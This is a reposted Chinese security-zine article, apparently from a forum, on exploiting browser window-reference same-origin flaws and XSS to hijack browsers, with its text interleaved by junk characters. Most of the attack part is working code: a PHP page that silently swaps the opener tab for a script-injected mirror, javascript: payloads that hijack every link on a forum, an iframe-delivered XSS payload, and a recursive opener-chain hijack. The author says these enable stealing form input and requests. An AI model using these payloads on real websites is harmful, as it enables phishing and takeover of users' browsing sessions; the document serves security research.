找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1772|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==
3 F: n  D( T: c, p- c- \5 L ) p2 J2 g# Z  n+ ]) P# |
                       Issue 0x03, Phile #0x05 of 0x07
1 I6 _# T/ l" R( M7 h, C 6 S* V( }7 w# G0 n" h$ K4 I  @

( N6 W0 C, U+ u4 z2 ?|=---------------------------------------------------------------------------=|& w5 g5 X$ I* m( J& C9 k
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
) `$ `' B1 i7 H7 E0 `/ r|=---------------------------------------------------------------------------=|
6 S" B- L6 I# J# C' N|=---------------------------------------------------------------------------=|
/ l. K' F( h, n+ d$ ?|=------------------------=[      By rayh4c     ]=---------------------------=|
$ T8 x& k6 Y* y! g/ u2 L' a|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
& w5 U5 x* {" B2 _" I|=---------------------------------------------------------------------------=|
, |! ~8 P& x: @/ K2 i4 c& q% Z. `0 t) [' a/ E: P+ h
1 D  k& S2 I& ]# F3 }, K: `/ n% H
[目录]
2 z7 ?9 u/ g$ W" E* R( l& H9 Z8 z) y
. o  B" f# P; F" I1 D2 v. }1. 前言
7 F. P, l; M, L; c5 i0 I7 v4 G2. 同源策略简叙
8 ?. R, n: t0 Y7 [0 k6 _3. 理解window对象的同源策略
! k! D. _3 r! ^  ?2 C4. 窗口引用功能中的同源策略漏洞
5 n) G. |$ s) E  n) g8 d. G  4.1 父窗口引用子窗口的同源策略问题+ b% D9 }; s# e* v
  4.2 子窗口引用父窗口的同源策略问题
! ^5 B" D* F( ?7 r3 v5. 利用窗口引用漏洞劫持浏览器$ t& c2 d0 {! U. R+ g% v
6. 利用XSS漏洞劫持浏览器7 k4 N7 P$ m1 P! J
  6.1 正向跨窗口劫持
/ R& S  W3 V1 a- j( B. V& D  6.2 反向跨窗口劫持
6 H3 E* Z; ?7 }* p  6.3 极度危险的跨框架窗口引用劫持" Y8 j' ]( S) F& F9 f
  6.4 极度危险的正反向跨窗口递归劫持
/ ^# x  t$ r- N; E; e  6.5 完全控制浏览器8 a& ^2 U; Z6 Y9 E% E& P
7. 后记
5 ]( l! T! |$ L0 \8. 参考' e. s, M2 O# o7 ]7 K6 w* c

8 O; }  k9 _. I/ N! Y1 C" c) O1 ~% d0 }  t
一、前言6 P) V  a% J8 r" B# E

1 Q5 {0 A4 E1 U  E$ @2 i* m    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
# g& ?1 X3 o, }' }1 N友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session3 s6 M, g% u2 b7 _. q0 ]
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被  C! s' j& m% M
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
. F- S! K7 K& a+ P9 l8 A5 d6 c0 L! u- t0 h1 q7 e" g

$ S1 F8 v/ r6 ?- u二、同源策略简叙9 K) p$ |. w3 H

0 B* v& \) C* f. t, l- f: \, d    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
) h& q* K) ^' O5 w, l$ l. k从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
+ A! Y! ?3 ~' Z- l% |曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
& j8 S  y& c5 |* r% [马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个- J. x- m! K* U  Q; U! W9 F' G3 \
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。1 S8 Z, @1 F4 p  z8 X( k
2 ^5 N+ ?* a. T. A
6 Q6 Q6 ~* O1 }( O; _, M
三、理解window对象的同源策略
9 A0 [, D5 w, O+ z( b" \, j( s% H: _% ?* i$ z
    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
" r' {9 w6 z3 S$ B7 G. t2 f5 F象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:- g) u. C8 b3 f- y0 r

. E) Z! \( e( y. J8 _4 C--code-------------------------------------------------------------------------
- m/ X5 u1 Y# K' O<script language="javascript">  v8 L6 W1 C" _: t
for(p in window) document.write(p+"<br>");% t$ ?9 F. S; `0 }7 S
</script>
" d" A$ B( ?: D- a/ \. i-------------------------------------------------------------------------------
. D, W9 l+ I3 n7 G' U$ g, [
- l. _2 s+ ~# ~6 V    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方" O* i" n1 u$ C7 w2 G
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
( j5 ]9 B& j4 @这些属性和方法就必须遵循同源策略。/ t3 g; |, e5 X* _* p8 a

* B. S( }  [. I    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那, N! J/ T, B6 P" U) `
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须5 i& r: D0 q9 b. e+ z' t0 k
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这7 i  E: ^, O3 N9 o3 X: |
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
; V  l0 H1 X/ p0 t% R值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
" L+ h, `0 ?9 A, i  S8 H& w; t属性并没有被拒绝访问。
+ h8 e) \& P) g, {  V
$ l) w" ?/ W( i# K8 l--demo.html--------------------------------------------------------------------, T" ]" Z1 B: q
<script language="javascript">   
2 J$ j0 s& U$ s/ `' N  P& f( N7 hfunction allPrpos(obj) {      ! m8 c) k; F: e6 ]. N
      var props = "<table><tr><td>名称</td><td>值</td>";           
/ ?% m6 l& M& _; g8 {/ a      for(var p in obj){         
+ r' ]1 m8 F2 ]" A1 ~' g* F            if(typeof(obj[p])=="function"){   
* V" \- J! e2 s1 W! p$ [7 m                   obj[p]();   
* {" b$ V' K. [: `' {             }else{                     
4 _5 O$ W# Z( J; b                  try   * j  Z6 q* ~, b% h
                   {   
- a& ], e& B" ^  b9 s                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
# f3 [3 c1 Y7 z8 C( p7 K                   }   . ^% M: S/ J: i6 o; ~
                  catch (ex)   
* d) o! M( q7 `" P2 s+ \                   {   ) n% U$ W6 n' A8 }" o! ^
                   ( ~6 z1 L9 I2 ?  i+ r( b5 u2 Q
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   * \1 v  C# X) m; {9 G% g
                   }   
0 A. V& j# j' r1 S& {. t" }                       9 f! f+ A: H! s1 C
             }   
' Y. x" ?$ ?" `+ u- v' A       }   
9 p) X5 i: g, e   
; v+ _) Y3 ~0 s) M" t  e       document.write(props+"</table>");   
5 |! U1 e# L9 o" v4 ]" a1 p* }+ C}   
. }5 U0 U" E  c# c   
( X  n* L& }: z) Dfunction createWin() {
" L: _- l+ @% E6 z; l4 R        newWin = window.open ("http://www.google.com");  
2 ]5 A; f' d1 F. b1 \        setTimeout(function(){allPrpos(newWin)},2000);
; r, v' N5 t5 m5 R2 Z} - e8 P( `* Z8 z! N2 K( M- x
2 y5 ^5 {, M0 D
</script>
# O+ c1 m. t: {
; i& z( Q: G1 R, v<button onclick='createWin()'>创建一个非同源子窗口测试</button>$ M) n) R: M  H' J3 S% L
-------------------------------------------------------------------------------: a7 O1 N5 R( S4 T/ ?9 U# h
* D4 j1 G4 ^8 B  O% D

0 i# u& L- y( G7 F1 _* D% n3 b四、窗口引用功能中的同源策略漏洞' @0 X5 z/ ]8 a. _

' x* F$ i5 `$ R8 V3 G4.1 父窗口引用子窗口的同源策略问题+ p4 s0 \, }- }+ o. K- q/ Q% a. g

# o+ y6 w4 s7 S    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
5 Q' K7 v9 Y9 T  h; P但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
8 a  c% A8 v' |- |8 Y; _浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进8 Z/ X, R. d  t+ r5 R+ d+ d4 x
行测试,会发现父窗口可以控制非同源子窗口location属性值。1 s7 O& {% Q% S# i6 M
# J0 h) T! Y9 w8 g+ H
--vul1.html--------------------------------------------------------------------
/ ^+ a8 L( f1 A" K<script language="javascript"> 5 S& i" J; K: O; C) i6 }$ Y1 m
function createWin() {  4 R, @6 A- F' p2 l# A( V
        newWin = window.open ("http://www.google.com");  1 X9 G4 H" @) W& C( A2 [
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000); ! [+ c" \, n. q6 z
} / a, l* M7 @& q* `( w
</script>
3 U: W  b, `  K% S! b1 a$ o& W* S5 n6 Y
<button onclick='createWin()'>创建一个非同源子窗口测试</button>( l! U& n& x. ]% }7 i- O# ]. T
-------------------------------------------------------------------------------
3 Z# M! R$ _( f9 Y" t5 U$ I2 ^6 b8 g5 d& S
% w+ d! X! e1 a8 U7 G. R' x
4.2 子窗口引用父窗口的同源策略问题
6 D/ L- h* `. S$ @/ Q4 y
& |( }, i2 o3 ^+ C# r    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使: D" ?9 E' R0 `: Y2 a/ U' ?
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们1 X( `8 ^( |  r6 S. T( R5 H
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
: |1 ^0 A$ b; \! b) N会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。6 H& _/ j) J9 v4 Y
) t% V) D& T# o5 V8 [/ {
--code-------------------------------------------------------------------------- k% j7 i% _: ?
. ]) D/ F3 {3 r% ~
javascript:window.opener.location = "http://www.80sec.com";void(0);" C; i" s/ s6 l  w5 ^& I% i# j

7 R3 ^8 p6 l) c7 e, n+ G-------------------------------------------------------------------------------
" \6 G& I3 L  w$ a. \/ }/ W( I/ j& `: s' p

5 N* T5 O' d8 o$ J" L五、利用窗口引用漏洞劫持浏览器
3 h5 D8 S# N( i- D2 U# w& }; l+ A2 z  j
    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
7 X7 p' P9 \- ^2 y* [窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
/ H- U4 ?: `! @& t+ R2 A: U么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。! N6 M1 s7 I5 [; C
0 H4 U; l- e' `& [( g) }" Y
    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
% F( ^$ t3 W/ I1 r& \& {" \4 n生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
! L$ m) Z2 S, @7 o, D* y5 K" ^者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接! c  R4 A0 `2 D/ P
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
- v5 s8 v# r, \. H4 g, A( \会产生什么可怕的后果。0 ~# T3 P4 q+ _; N& T

7 l/ l9 f5 v& C3 K3 O  W; P; j& ]- y    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我/ g  h  a0 @3 _6 c
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
3 v  P/ _. r5 F3 U8 V# d" B, I# F这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时2 n4 y) l" ?! n7 b
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可) t6 @: B8 ^- K( M& B' Y: P4 E
以做更多的事情,所有的一切仅仅是因为点击了一个链接。% R3 r7 ^% M9 P- ^; V/ \; S6 R

: ]5 ]. `! h- R( ^& \--hjk_ref.php------------------------------------------------------------------9 J; g4 j% ?8 [
<?php
: k$ V1 U" D1 G% [9 c: bif (array_key_exists("HTTP_REFERER", $_SERVER)) {
: [& X2 B  ~. F, m; U$Url_Mirror = $_SERVER["HTTP_REFERER"];  {6 Z! q, D4 ^/ e+ G. K' M
}
3 M. b8 Y4 u) M( ~4 ^7 P4 D0 Yif(isset ($_GET['ref'])) {1 M% D+ @7 `$ U, O3 D
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
% l, i8 w9 F) d1 P}1 `" Q/ F% n! R$ d# l, j
?>
/ R' X7 W; b; ?8 V( R' H5 X- t' ?) e. ?/ D+ y9 s
<script language="javascript">7 l$ D- K5 f, l+ t' g
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
: Q: I. Y2 d# Z& A' L</script>
9 v- n( V* w% p5 a3 H5 B# x-------------------------------------------------------------------------------+ \& A. t5 O3 q0 ]
& X  r. \) k, B5 t$ h' \
    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。/ ]  G9 H! I5 I* ^. z- G; @. j

: t/ V5 g& e& L
! T6 ~2 E/ M! o' g9 e9 {; N5 c六、利用XSS漏洞劫持浏览器& T0 L  Q1 }& H5 j3 q" }( Y( T
2 z7 w% |1 y+ h; C6 i- H
    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为6 ^  R7 k+ ~7 L0 s8 |2 Z
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
2 {- [3 E6 o/ h, CXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
1 ~2 S$ z" S- w讨论跨站师的终极技巧:
% U  b4 P8 K& n6 @( ^6 {7 g* ^. J0 h2 ^8 y* X( f( S6 l! x0 U

- q) h" n3 ?$ L  ?9 l0 o6.1 正向跨窗口劫持- j5 X' ~  x+ E2 ^! K" T! o& p

5 ]5 E5 n8 ]) w: c: y    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛- L$ y  u3 Z' P$ g* t5 A
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链- d( c) v8 }; _4 U4 m; s7 x
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话6 S; I4 e3 n1 f1 J; C6 Q
框脚本。 " J& O1 k5 R2 }5 J) h

1 `- }) ?- T* ]( Q" l--hijack_open.js---------------------------------------------------------------" [8 @8 _  ^* E2 A+ a6 c* N& N
; O; ~9 B. ~* I- M
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
  U4 X! u3 X) U, U4 `2 K6 y6 v
-------------------------------------------------------------------------------* K& e: |7 h" c8 n
' h% D) S$ D5 n- \  {4 ~
. L2 \* h1 g- U: ?
6.2 反向跨窗口劫持2 a, a2 w8 V" ]

: ~( n# F4 E/ j* A# B    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
( _0 I% [/ B, t1 P9 S码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话* D; @3 |( ~) y( J7 T& h6 \
框脚本。! U. l0 A+ }  M
% N. J2 D6 s/ [- k. L
--hijack_opener.js-------------------------------------------------------------
( X1 I* F* J; E$ x; @/ _) I' R
8 O+ w& l* P" y$ J- d) l9 Njavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
. W- J+ k7 `3 ?" m, W( a1 `0 t7 @2 f' ^; A+ Q$ x
-------------------------------------------------------------------------------; e# h! ~5 x" O

3 M$ Q% S! a/ w' [" t
" |; p9 \# P0 h6 o1 a$ X/ M4 P& y" L6.3 极度危险的跨框架窗口引用劫持
9 r6 N( |5 {. Y/ B/ g: G$ }
( p! \/ k+ a0 y3 R# X: Y( D    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞: w, D# k: t) U* s  V
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就+ D' q8 D- o5 Q$ d3 j
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
5 {0 x4 G' G$ b非持久型的XSS,如下:8 I; K1 H% s! s# ^
, P; n* R( c3 I- X- L; X
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
2 f6 @. M6 b* @- g1 E- d# Y; l- A) g
    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口9 e% R# n" f" Q* ~) |
注入脚本。' I% I+ |% B" u# x% X

" \7 s9 M' Q; Q7 q5 Q9 b--hijack_frame_opener.js-------------------------------------------------------, ~7 F9 f/ G, W2 ~  e
<script>, y0 ~& J8 C' N8 e' p4 O+ n) J' l; f9 o
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
# K7 s: `8 E% ?- w: z+ W& }</script>
! G! X1 W3 K( A8 m6 z-------------------------------------------------------------------------------, b. x7 z1 v& C

6 F) G9 E8 J! |' V5 s1 n% h" ?/ [
- L" }9 \1 L- D7 v& [4 }6.4 极度危险的正反向跨窗口递归劫持  p$ S3 v% s$ L1 P- ?8 A
7 I" R' _4 ]. C0 |+ M7 U: i
    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window" R& j- {  s% B
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
* h' J# k0 H5 y! R7 u: m异常处理规避之间跨域页面的访问异常,代码如下:
3 ^* V2 N# I& A+ s) Q/ _
5 `4 m: ]: m4 v0 V" ]! U--code-------------------------------------------------------------------------
8 O" Y4 V$ J% A- y3 q$ O+ _0 _) F& K
7 I8 E) J. O- |' l# k( _( d! \javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
- B+ _* M2 H  R) E" |9 H" a4 V5 H5 H& o+ J2 Y
-------------------------------------------------------------------------------3 ^2 ]% U2 Z! V( @
' s9 k! o* Z* h. {. V1 c5 m9 @) D
    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可& j( E2 X: ~4 n4 o( ?7 b
以劫持B域之前的A域页面,从而实现“隔空打击”。
: ?. w9 t8 O2 }: M  E; S8 V4 V- E9 _2 R/ f7 \0 ^
    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面5 ?, H6 J% B0 F1 J
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。. h* E: y/ {; o# G# I+ E, d

+ p, a' a1 p" J5 J$ y9 v8 k$ ^    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。6 x% J5 Z1 F- Y! o# P
: K' U. K* U/ C

3 d! e! E/ }) U4 c, o: `6.5 完全控制浏览器
; l2 T& [# l( X  `  j* m: \+ j# R5 Q+ L/ U" L6 }" j
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则3 o' L/ C* D/ m1 ?3 _9 p( y
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS# d. G8 j" a( R- L
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
5 x% h4 t% N4 ?" @) e1 g. \而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再$ B2 K. s  G. f2 Y
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站( e, D7 M9 L' S* ?: u
师的终极目标 - 完全控制浏览器。- M, ~* j  t& a: A6 r8 E: b$ c
8 J! Q( ?7 v1 L' T  q; S

) b3 n+ M9 j" Z6 ?8 _8 N七、后记5 R4 S" M2 z$ i0 C7 u: j

$ e0 F$ E! `9 X# q4 K9 V    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全& c$ K8 l' [- L# O
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
& v" S5 E; ]9 K  t' F过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。3 b; q+ j6 X5 \/ \

9 Y# ]4 W( {1 K: M( U& }- j7 t$ S) }  |( \5 Q6 l8 `6 h
八、参考% T0 D& n0 O9 n
% r7 z9 q# _1 z' j; k2 v& X9 m
1. http://en.wikipedia.org/wiki/Same_origin_policy$ L$ _9 H, [4 z( O" r
2. http://code.google.com/p/browser ... licy_for_DOM_access6 [" i7 F" j! Q/ D, e
3. http://www.w3.org/TR/Window/
7 R3 K! h/ J  O5 {4. http://www.80sec.com/release/browser-hijacking.txt/ T' \, v% _/ M4 ^
5. http://www.80sec.com/all-browser-security-alert.html* R! M+ }  V0 V$ e) T4 a0 N
6. http://www.80sec.com/ms08-058-attacks-google.html+ u8 n) I" o) w& @* O
1 F3 q% f  B) r6 u6 I- Z
-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表